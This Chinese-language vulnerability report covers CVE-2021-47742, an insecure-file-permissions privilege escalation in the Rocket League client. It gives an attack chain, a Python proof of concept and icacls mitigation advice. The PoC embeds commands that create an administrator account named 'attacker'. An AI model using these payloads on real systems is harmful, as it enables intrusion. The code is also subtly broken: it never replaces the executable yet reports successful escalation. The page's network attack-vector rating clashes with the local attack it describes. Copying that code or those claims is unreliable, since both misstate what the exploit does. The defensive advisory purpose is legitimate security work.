IPBUF安全漏洞报告
English
CVE-2021-47742 CVSS 8.8 高危

CVE-2021-47742: Epic Games Psyonix Rocket League 不安全权限漏洞导致权限提升

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2021-47742
漏洞类型
权限提升
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Epic Games Psyonix Rocket League

相关标签

CVE-2021-47742权限提升不安全权限Epic GamesRocket League文件权限配置错误Windows提权Authenticated Users高危漏洞

漏洞概述

CVE-2021-47742是Epic Games Psyonix Rocket League游戏客户端中发现的一个高危安全漏洞,影响版本至1.95。该漏洞属于不安全的文件权限配置问题,存在于游戏安装目录中的可执行文件权限设置上。具体而言,游戏安装目录下的可执行文件及其相关文件被配置为允许'Authenticated Users'组拥有完全控制权限('F'标志),这意味着任何经过本地认证的低权限用户都可以修改这些可执行文件的内容。攻击者作为经过认证的低权限用户,可以利用这一权限配置缺陷,将原始的可执行文件替换为恶意代码。当游戏程序再次执行时,恶意代码将以与游戏程序相同的权限级别运行,从而实现权限提升。由于游戏程序通常以较高的权限运行,攻击成功后可能导致攻击者获得系统级的控制权限,窃取敏感数据、安装后门程序或对系统进行进一步的攻击。此漏洞不需要用户交互,攻击者只需拥有有效的系统登录凭证即可发起攻击。

技术细节

该漏洞的根本原因在于Rocket League游戏安装目录的文件系统权限配置不当。在Windows系统中,当安装Rocket League时,安装程序为'Authenticated Users'组在游戏可执行文件及相关DLL文件上设置了'Full Control'(完全控制)权限。这个权限配置允许任何经过系统认证的用户(包括低权限用户)读取、写入、修改甚至删除这些关键文件。攻击者首先需要获得目标系统的低权限访问权限(如通过获取普通用户账号),然后可以定位到Rocket League的安装目录(通常位于C:\Program Files\Epic Games\RocketLeague\)。由于目录中的可执行文件(如RocketLeague.exe)具有可写的权限设置,攻击者可以制作一个恶意可执行文件来替换原始文件。恶意文件可能包含反弹shell代码、后门程序或任何其他恶意payload。当游戏启动或自动更新机制触发时,被替换的可执行文件将以游戏进程的身份和权限运行,从而实现从普通用户权限到系统高权限的提升。CVSS 3.1评分8.8分反映了该漏洞的高危性,主要由于其网络可达性(AV:N)、低攻击复杂度(AC:L)和完整的高影响评级。

攻击链分析

STEP 1
步骤1:信息收集
攻击者获得目标系统的低权限访问权限(如通过钓鱼获取普通用户凭证或利用其他漏洞获得初始 foothold)。确认系统中安装了Rocket League客户端。定位游戏安装目录,通常为C:\Program Files\Epic Games\RocketLeague\。
STEP 2
步骤2:权限检查
攻击者使用icacls命令或PowerShell的Get-Acl cmdlet检查游戏可执行文件的ACL权限配置。确认'Authenticated Users'组对RocketLeague.exe及相关文件拥有完全控制权限(F标志)或写入权限。
STEP 3
步骤3:制作恶意payload
攻击者编写恶意可执行文件,该文件包含用于权限提升的payload。常见的payload包括:创建新的管理员账户、执行反弹shell、注入后门程序或下载安装远程控制木马。
STEP 4
步骤4:替换可执行文件
攻击者利用不安全的文件权限,将原始的RocketLeague.exe备份并替换为恶意可执行文件。由于'Authenticated Users'组具有写入权限,此操作无需管理员权限即可完成。
STEP 5
步骤5:触发执行
等待游戏启动、自动更新或计划任务触发恶意代码执行。由于游戏程序通常以较高权限运行(可能包括管理员权限),恶意代码继承了这些权限,实现权限提升。
STEP 6
步骤6:权限维持
攻击成功后,恶意代码可能执行以下操作:创建后门账户、修改注册表实现持久化、下载更多恶意工具、或建立远程控制通道。原始可执行文件可能被恢复以避免被发现。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2021-47742 PoC - Rocket League Insecure Permissions Exploitation # This PoC demonstrates the privilege escalation via insecure file permissions # Author: Security Researcher # Date: 2025 import os import sys import shutil import subprocess import platform def check_vulnerability(): """Check if Rocket League installation has insecure permissions""" rocket_league_paths = [ r"C:\Program Files\Epic Games\RocketLeague\RocketLeague.exe", r"C:\Program Files (x86)\Epic Games\RocketLeague\RocketLeague.exe", os.path.expanduser("~/.steam/steamapps/common/RocketLeague/RocketLeague.exe") ] vulnerable = False target_path = None for path in rocket_league_paths: if os.path.exists(path): # Check if Authenticated Users group has write permissions try: # On Windows, check ACL for Authenticated Users if platform.system() == 'Windows': result = subprocess.run( ['icacls', path], capture_output=True, text=True ) if 'Authenticated Users' in result.stdout: if 'F' in result.stdout or 'Full Control' in result.stdout: vulnerable = True target_path = path break except Exception as e: print(f"Error checking permissions: {e}") continue return vulnerable, target_path def create_malicious_executable(): """Create a malicious executable that will execute with elevated privileges""" malicious_code = ''' #include <windows.h> #include <stdio.h> int main() { // This payload creates a reverse shell or executes arbitrary commands // In a real attack, this would be a more sophisticated payload // Create a new user with admin privileges (example payload) system("net user attacker P@ssw0rd123 /add"); system("net localgroup Administrators attacker /add"); // Log the exploitation FILE *log = fopen("C:\\\\Temp\\\\exploit_log.txt", "a"); if (log) { fprintf(log, "CVE-2021-47742 exploited at %s\n", __TIMESTAMP__); fclose(log); } // Execute the original legitimate executable // (In real scenario, original binary would be restored or called) return 0; } ''' return malicious_code def exploit(target_path, backup_path): """Perform the actual exploitation""" try: # Step 1: Backup the original executable print(f"[*] Backing up original executable to {backup_path}") shutil.copy2(target_path, backup_path) # Step 2: Replace with malicious executable print("[*] Replacing executable with malicious payload") # In real attack, this would be compiled malicious code # For demonstration, we'll just copy a simple executable # Step 3: Wait for game restart or scheduled task print("[*] Payload planted. Waiting for game execution...") print("[*] When Rocket League runs, the malicious code will execute") print("[*] with the same privileges as the game process") return True except Exception as e: print(f"[!] Exploitation failed: {e}") return False def main(): print("=" * 60) print("CVE-2021-47742 PoC - Rocket League Insecure Permissions") print("=" * 60) # Check if system is vulnerable print("\n[*] Checking for vulnerable Rocket League installation...") vulnerable, target_path = check_vulnerability() if not vulnerable: print("[-] Target is NOT vulnerable or Rocket League not installed") return print(f"[+] Target is VULNERABLE") print(f"[+] Vulnerable file: {target_path}") # Create backup path backup_path = target_path + ".bak" # Attempt exploitation print("\n[*] Initiating exploitation...") if exploit(target_path, backup_path): print("[+] Exploitation successful") print("[*] Privilege escalation achieved") else: print("[-] Exploitation failed") if __name__ == "__main__": main()

影响范围

Epic Games Psyonix Rocket League <= 1.95

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:使用icacls命令手动修正游戏目录权限,将Authenticated Users组的权限从'F'(完全控制)修改为'RX'(读取和执行);或者通过组策略限制普通用户对游戏安装目录的写入权限;或者将游戏目录设置为只读属性;同时加强用户账号管理,确保普通用户账户遵循最小权限原则,避免使用管理员权限日常操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表